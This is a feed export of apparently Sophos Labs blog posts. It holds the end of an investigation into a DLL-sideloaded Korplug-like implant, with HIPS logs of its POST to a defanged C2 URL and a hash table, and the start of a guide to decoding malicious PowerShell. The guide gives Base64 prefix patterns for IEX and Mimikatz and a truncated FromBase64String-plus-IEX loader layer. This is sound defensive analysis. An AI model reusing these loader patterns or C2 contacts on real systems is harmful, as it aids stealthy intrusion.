&lt;p&gt;But those URLs were down DNS resolution was failing.&amp;nbsp;The active malware was cleverly hiding itself and attempting to contact certain URLs but they were down. I decided to&amp;nbsp;&lt;em&gt;respond&amp;nbsp;&lt;/em&gt;to these requests using Imaginary C2. This tool has been developed by one of our brilliant Labs Researchers. [&lt;a title="https://github.com/felixweyne" href="https://github.com/felixweyne" target="_blank"&gt;https://github.com/felixweyne&lt;/a&gt;]&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;ldquo;&lt;em&gt;Imaginary C2 is a python tool which aims to help in the behavioral (network) analysis of malware. Imaginary C2 hosts a HTTP server which captures HTTP requests towards selectively chosen domains/IPs. Additionally, the tool aims to make it easy to replay captured Command-and-Control responses/served payloads.&lt;/em&gt;&lt;em&gt;&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Malware2.png"&gt;&lt;img src="/resized-image/__size/800x500/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Malware2.png" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;As soon as there was an&amp;nbsp;&lt;u&gt;active&lt;/u&gt;&amp;nbsp;exchange of network traffic between the Client and a known&amp;nbsp;&lt;em&gt;malicious server,&amp;nbsp;&lt;/em&gt;Sophos immediately gave us a lead.&lt;/p&gt;
&lt;p&gt;But it seemed to be a dead-end. Whaaaa.. A Digitally Signed Executable by Adobe having Zero detections on&amp;nbsp;&lt;a href="https://www.virustotal.com/gui/file/7744d4c0da090157809e65259fb2682e8149b3fcf64a055607ab04f0cb732ea6/detection"&gt;&lt;u&gt;VirusTotal&lt;/u&gt;&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Malware3.png"&gt;&lt;img src="/resized-image/__size/800x500/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Malware3.png" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Cross-referencing the AV logs at&amp;nbsp;C:\ProgramData\Sophos Anti-Virus\Logs\SAV.TXT&amp;nbsp;for more clues,&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 162345 File &amp;quot;&lt;strong&gt;C:\program files (x86)\microsoft cdo for windows library\cdosys.exe&lt;/strong&gt;&amp;quot; belongs to virus/spyware &amp;#39;C2/Generic-B&amp;#39;.&amp;nbsp;&lt;strong&gt;Threat ID: 1175017554&lt;/strong&gt;. No action taken.&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 162354 File &amp;quot;C:\program files (x86)\microsoft cdo for windows library\cdosys.exe&amp;quot; belongs to virus/spyware &amp;#39;C2/Generic-B&amp;#39;.&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 162354 Virus/spyware &amp;#39;C2/Generic-B&amp;#39; is not removable.&amp;nbsp;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;Upon checking Threat ID, I could confirm that it was pointing to a C2 server and confirms the URL.&amp;nbsp;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;For geeks, this is how debug HIPS logs look during the simulated successful C2 communication [One of the malicious URLs listed in the advisory]-&amp;nbsp;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 052144 RSDEBUG: L&amp;quot;ProcessPath:&amp;nbsp;&lt;a href="/device/harddiskvolume2/program"&gt;&lt;u&gt;\\device\\harddiskvolume2\\program&lt;/u&gt;&lt;/a&gt;&amp;nbsp;files (x86)&lt;a href="/microsoft"&gt;&lt;u&gt;\\microsoft&lt;/u&gt;&lt;/a&gt;&amp;nbsp;cdo for windows library\\cdosys.exe&amp;quot;&amp;nbsp;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 052144 RSDEBUG: L&amp;quot;SNTP PassedPath:&amp;nbsp;&lt;a href="/device/harddiskvolume2/program"&gt;&lt;u&gt;\\device\\harddiskvolume2\\program&lt;/u&gt;&lt;/a&gt;&amp;nbsp;files (x86)&lt;a href="/microsoft"&gt;&lt;u&gt;\\microsoft&lt;/u&gt;&lt;/a&gt;&amp;nbsp;cdo for windows library\\cdosys.exe&amp;quot;&amp;nbsp;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 052144 RSDEBUG: L&amp;quot;PID: \x001c\x000b\x0000\x0000&amp;quot;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 052144 RSDEBUG: L&amp;quot;TID: 6668&amp;quot;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 052144 RSDEBUG: L&amp;quot;URL:&amp;nbsp;&lt;strong&gt;http[://]rest[.]ernestlabrie[.]com/Ihuel-Kobu-Anhud-Avesi-Vhuje-27003&lt;/strong&gt;&amp;quot;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 052144 RSDEBUG: L&amp;quot;Labs URI ID: nil&amp;quot;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 052144 RSDEBUG: L&amp;quot;LocalAddress: 192.168.30.175&amp;quot;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 052144 RSDEBUG: L&amp;quot;LocalPort: 53383&amp;quot;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 052144 RSDEBUG:&amp;nbsp;&lt;strong&gt;L&amp;quot;RemoteAddress: 192.168.30.10&amp;quot; //My dummy C2 Server&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 052144 RSDEBUG:&amp;nbsp;&lt;strong&gt;L&amp;quot;RemotePort: 80&amp;quot;&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 052144 RSDEBUG: L&amp;quot;Protocol: 6&amp;quot;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 052144 RSDEBUG: L&amp;quot;Threat name: nil&amp;quot;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 052144 RSDEBUG: L&amp;quot;Risk level: nil&amp;quot;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 052144 RSDEBUG: L&amp;quot;Universal Category: nil&amp;quot;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 052144 RSDEBUG: L&amp;quot;Detailed Category: nil&amp;quot;&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;20190807 052144 RSDEBUG: L&amp;quot;Headers: POST /Ihuel-Kobu-Anhud-Avesi-Vhuje-27003 HTTP/1.1\x000d\x000aUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0)\x000d\x000aHost: rest[.]ernestlabrie[.]com\x000d\x000aContent-Length: 24\x000d\x000aConnection: Keep-Alive\x000d\x000aCache-Control: no-cache\x000d\x000a\x000d\x000a&amp;quot;&lt;/em&gt;&lt;/p&gt;
&lt;p class="x_xxmsonormal"&gt;Now that we have the executable file, let&amp;rsquo;s look closely at the Autoruns logs once again to find the persistence mechanism and -&lt;/p&gt;
&lt;p&gt;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Malware4.png"&gt;&lt;img src="/resized-image/__size/800x500/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Malware4.png" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Why would an&amp;nbsp;&lt;strong&gt;Adobe&lt;/strong&gt;&amp;nbsp;signed executable have a Scheduled Task named &amp;ldquo;&lt;strong&gt;Microsoft&lt;/strong&gt;&amp;nbsp;CDO for Windows Library@cameron_hede&amp;rdquo;? Doesn&amp;rsquo;t make sense, right? To the advanced bad guys &amp;ndash; it does. We&amp;nbsp;Endearingly&amp;nbsp;call them APT Groups,&amp;nbsp;who prefer to keep a low profile to evade raising any red flags. But to our keen eyes, they stood out like a sore thumb..&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size:150%;"&gt;&lt;u&gt;&lt;strong&gt;Conclusion:&lt;/strong&gt;&lt;/u&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This peculiar technique has been termed as DLL-sideloading. We are suspecting this to be a Korplug RAT&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&amp;ldquo;&lt;em&gt;The Korplug RAT is known to use this side-loading trick by abusing&amp;nbsp;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;legitimate digitally signed executables&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&amp;nbsp;and is a way to stay under the radar, since a trusted application with a valid signature among startup items is less likely to raise suspicion.&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&amp;ldquo;&lt;em&gt;The two files figure in a tried-and-tested trick called &amp;lsquo;DLL side-loading&amp;rsquo;, which consists in co-opting a legitimate application&amp;rsquo;s library-loading process by planting a&amp;nbsp;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;malicious DLL&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;inside the same folder as the&amp;nbsp;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;signed executable&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;,&amp;rdquo; the ESET blog post explains. &amp;ldquo;This is a way to remain under the radar, since a trusted application with a valid signature is less likely to arouse suspicion.&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Malware5.png"&gt;&lt;img src="/resized-image/__size/800x500/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Malware5.png" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Malware6.png"&gt;&lt;img src="/resized-image/__size/800x500/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Malware6.png" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Malware7.png"&gt;&lt;img src="/resized-image/__size/800x500/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Malware7.png" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;A complete analysis was performed by SophosLabs and our Product Teams which resulted in publishing signatures against the DLLs and .DB3 file. We also studied the technique to better the efficacy of our Intercept X.&lt;/p&gt;
&lt;p&gt;A summary of all the files involved in this attack with their corresponding detection names &amp;ndash;&lt;/p&gt;
&lt;div class="content-scrollable-wrapper"&gt;
&lt;table width="743" cellspacing="0" cellpadding="7"&gt;
&lt;tbody&gt;
&lt;tr valign="top"&gt;
&lt;td width="78" height="5"&gt;
&lt;p&gt;&lt;strong&gt;Filename&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="468"&gt;
&lt;p&gt;&lt;strong&gt;SHA256&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="154"&gt;
&lt;p&gt;&lt;strong&gt;Sophos Detection Name&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr valign="top"&gt;
&lt;td width="78" height="6"&gt;
&lt;p&gt;&lt;strong&gt;ACE.dll&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="468"&gt;
&lt;p&gt;c06267e143f43b0ed410d2bc71d07437a11ea9405f16e1d3d0dcdb9b997fe4c6&lt;/p&gt;
&lt;/td&gt;
&lt;td width="154"&gt;
&lt;p&gt;Mal/Generic-R&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr valign="top"&gt;
&lt;td width="78" height="6"&gt;
&lt;p&gt;&lt;strong&gt;AGM.dll&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="468"&gt;
&lt;p&gt;e8ce7daed14b80a30c3627a51a31a3dcbf42c87b30e41b70c5a43a954e9e49cc&lt;/p&gt;
&lt;/td&gt;
&lt;td width="154"&gt;
&lt;p&gt;Mal/Generic-R&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr valign="top"&gt;
&lt;td width="78" height="6"&gt;
&lt;p&gt;&lt;strong&gt;BIB.dll&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="468"&gt;
&lt;p&gt;104892fd802ab0cdbdc1fbbd1135fc8302291a0aeaac776e93004bcc567654f9&lt;/p&gt;
&lt;/td&gt;
&lt;td width="154"&gt;
&lt;p&gt;Mal/Generic-R&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr valign="top"&gt;
&lt;td width="78" height="6"&gt;
&lt;p&gt;&lt;strong&gt;cdosys.db3&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="468"&gt;
&lt;p&gt;2d2f01f9acb11dd5442e4f46fbba6286ea498d4e939915c820dda58fef94bb5c&lt;/p&gt;
&lt;/td&gt;
&lt;td width="154"&gt;
&lt;p&gt;Troj/Inject - ELB&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr valign="top"&gt;
&lt;td width="78" height="6"&gt;
&lt;p&gt;&lt;strong&gt;cdosys.exe&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="468"&gt;
&lt;p&gt;7744d4c0da090157809e65259fb2682e8149b3fcf64a055607ab04f0cb732ea6&lt;/p&gt;
&lt;/td&gt;
&lt;td width="154"&gt;
&lt;p&gt;NA [Safe]&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr valign="top"&gt;
&lt;td width="78" height="6"&gt;
&lt;p&gt;&lt;strong&gt;CoolType.dll&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="468"&gt;
&lt;p&gt;3de736af2643c9d7a4a26d2eaaf9530272b7e5d622831062e4ab00a73de959d8&lt;/p&gt;
&lt;/td&gt;
&lt;td width="154"&gt;
&lt;p&gt;Mal/Generic-R&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr valign="top"&gt;
&lt;td width="78" height="5"&gt;
&lt;p&gt;&lt;strong&gt;MSVCR80.dll&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="468"&gt;
&lt;p&gt;ae410f8e744adc14d69f1758b32c7338c947a582d766825a96521107e8b5cdf9&lt;/p&gt;
&lt;/td&gt;
&lt;td width="154"&gt;
&lt;p&gt;Mal/Generic-R&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Any questions, feedback and (positive) criticism are welcome.&amp;nbsp;A special thanks to Andrew O&amp;#39;Donnell.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="https://stage-community-sophos-comv11.telligenthosting.net/aggbug?PostID=630&amp;AppID=28&amp;AppType=Weblog&amp;ContentType=0" width="1" height="1"&gt;</content><author><name>Vikas</name><uri>https://stage-community-sophos-comV11.telligenthosting.net/members/vikas</uri></author><category term="suspicious" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/suspicious" /><category term="DNS" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/DNS" /><category term="malware" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/malware" /><category term="apt" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/apt" /><category term="sophos" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/sophos" /></entry><entry><title>Decoding Malicious PowerShell Activity - A Case Study</title><link rel="alternate" type="text/html" href="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/decoding-malicious-powershell" /><id>https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/decoding-malicious-powershell</id><published>2020-02-14T07:56:00Z</published><updated>2020-02-14T07:56:00Z</updated><content type="html">&lt;p&gt;IT Administrators and Security Specialists often run into a suspicious looking PowerShell command; sometimes they succeed in decoding them but often, they are reliant on researchers. This blog should serve as a guidance to identify the purpose of suspicious entries found in:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Scheduled Tasks&lt;/li&gt;
&lt;li&gt;RUN Keys in the Registry&lt;/li&gt;
&lt;li&gt;Static PowerShell Scripts&lt;/li&gt;
&lt;li&gt;Proxy Logs if a Web Server is exploited for a Remote Code Execution&lt;/li&gt;
&lt;/ul&gt;
&lt;p style="background:white;margin-bottom:0.0001pt;"&gt;&lt;span style="font-size:inherit;"&gt;&lt;span style="color:blue;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;powershell.exe&lt;/span&gt;&lt;span style="font-family:&amp;#39;Lucida Console&amp;#39;;"&gt; &lt;span style="color:navy;"&gt;-EncodedCommand&lt;/span&gt; &lt;span style="color:blueviolet;"&gt;JABzAHIAdgBzAHkAcw..&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s an Autoruns export from a server which was exhibiting repeated Sophos HIPS detection at regular intervals. Upon checking the logs carefully, you can easily spot a bunch services with random characters as Service Name. This attribute of a Windows Service stands out which is of immediate interest!&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/6278.Autoruns.png"&gt;&lt;img src="/resized-image/__size/640x480/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/6278.Autoruns.png" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s no reason for a service like this to be present on a Windows Server. As expected, an administrator is unwary of anything like this which confirms our suspicion of it being malicious in nature.&lt;/p&gt;
&lt;p&gt;This tactic is called &lt;strong&gt;Living-Off-The-Land&lt;/strong&gt; a.k.a LOLBins i.e. &lt;em&gt;perform malicious activities without dropping any binary/executable/malware on the disk. &lt;/em&gt;Why? You know the answer &amp;ndash; to avoid tripping any alarms because historically, static [file] based detection is how AVs have evolved. AVs cannot completely move away from this technique however we do keep adding more layers to protect and prevent end-user machines.&lt;/p&gt;
&lt;p&gt;At this point you would need means to decode the long string of characters to find out the malware&amp;rsquo;s &lt;em&gt;endgame. &lt;/em&gt;The extraaaaa looooong string of characters is what we call a Base64 Encoded Data.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&amp;ldquo;Base64 encoding schemes are commonly used to represent binary data in ASCII text. Any binary data is represented in text using only 64 characters from Ascii set. Base64 encoding is a process of converting binary data to an ASCII string format by converting that binary data into a 6-bit character representation. The Base64 method of encoding is used when binary data, such as images or video &lt;strong&gt;or malicious scripts/programs&lt;/strong&gt;, is transmitted over systems that are designed to transmit data in a plain-text (ASCII) format.&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Here&amp;rsquo;s a quick Cheat Sheet of Base64 Encoding I&amp;rsquo;ve put together &amp;ndash;&lt;/p&gt;
&lt;table style="height:491px;" width="806"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td width="114"&gt;
&lt;p&gt;&lt;strong&gt;Base64 Code&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="72"&gt;
&lt;p&gt;&lt;strong&gt;Decoded&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="504"&gt;
&lt;p&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width="114"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;JAB&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="72"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;$.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="504"&gt;
&lt;p&gt;Variable Declaration (UTF-16)&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width="114"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;TVq&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="72"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;MZ&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="504"&gt;
&lt;p&gt;MZ Header&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width="114"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;SUVY&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="72"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;IEX&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="504"&gt;
&lt;p&gt;PowerShell Invoke Expression&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width="114"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;SQBFAF&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="72"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;I.E.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="504"&gt;
&lt;p&gt;PowerShell Invoke Expression (UTF-16)&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width="114"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;SQBuAH&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="72"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;I.n.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="504"&gt;
&lt;p&gt;PowerShell Invoke string (UTF-16) e.g. Invoke-MimiKatz&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width="114"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;PAA&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="72"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;&amp;lt;.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="504"&gt;
&lt;p&gt;Often used by Emotet [Malicious Document pulling down Emotet binary) (UTF-16)&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width="114"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;aWV4&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="72"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;iex&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="504"&gt;
&lt;p&gt;PowerShell Invoke Expression&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width="114"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;aQBlA&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="72"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;i.e.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="504"&gt;
&lt;p&gt;PowerShell Invoke Expression (UTF-16)&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width="114"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;dmFy&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="72"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;var&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="504"&gt;
&lt;p&gt;Variable Declaration&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width="114"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;dgBhA&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="72"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;v.a.&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="504"&gt;
&lt;p&gt;Variable Declaration (UTF-16)&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width="114"&gt;
&lt;p&gt;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;H4sIA&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="72"&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;/td&gt;
&lt;td width="504"&gt;
&lt;p&gt;gzip magic bytes (0x1f8b)&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The string &amp;nbsp;JABz[..truncated..]IAagBwA= cin its most basic form is an &lt;em&gt;onion. &lt;/em&gt;It has several layers to cleverly hide what it&amp;rsquo;s supposed to do in order to evade detection. But unlike an onion, it only has 3 Layers before we get to our Golden Egg. Let&amp;rsquo;s take a walk through each layer.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;&lt;u&gt;Layer 1 &amp;ndash; Episode 1&lt;/u&gt;&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;This string can be decoded into a human readable form using &lt;a href="https://gchq.github.io/CyberChef/"&gt;CyberChef&lt;/a&gt; a free nifty tool which hosts a plethora of tools to encode/decode data. Aptly called, &lt;em&gt;The Cyber Swiss Army Knife - a web app for encryption, encoding, compression and data analysis.&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Cyberchef.jpg"&gt;&lt;img src="/resized-image/__size/640x480/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Cyberchef.jpg" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The output generated looks a bit cleaner now. It says &amp;ndash;&lt;/p&gt;
&lt;p style="background:white;margin-left:0.5in;"&gt;&lt;span style="color:orangered;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;$s&lt;/span&gt;&lt;span style="color:darkgray;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;=&lt;/span&gt;&lt;span style="color:blue;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;New-Object&lt;/span&gt; &lt;span style="color:blueviolet;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;IO.MemoryStream&lt;/span&gt;&lt;span style="color:black;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;(&lt;/span&gt;&lt;span style="color:darkgray;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;,[&lt;/span&gt;&lt;span style="color:teal;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;Convert&lt;/span&gt;&lt;span style="color:darkgray;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;]::&lt;/span&gt;&lt;span style="color:black;background:yellow;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;FromBase64String&lt;/span&gt;&lt;span style="color:black;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;(&lt;/span&gt;&lt;span style="color:darkred;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;&amp;quot;ANOTHER_LOONG_STRING_R_U_KIDDING_ME&amp;quot;&lt;/span&gt;&lt;span style="color:black;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;));&lt;/span&gt;&lt;span style="color:blue;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;IEX&lt;/span&gt;&lt;span style="color:black;font-family:&amp;#39;Lucida 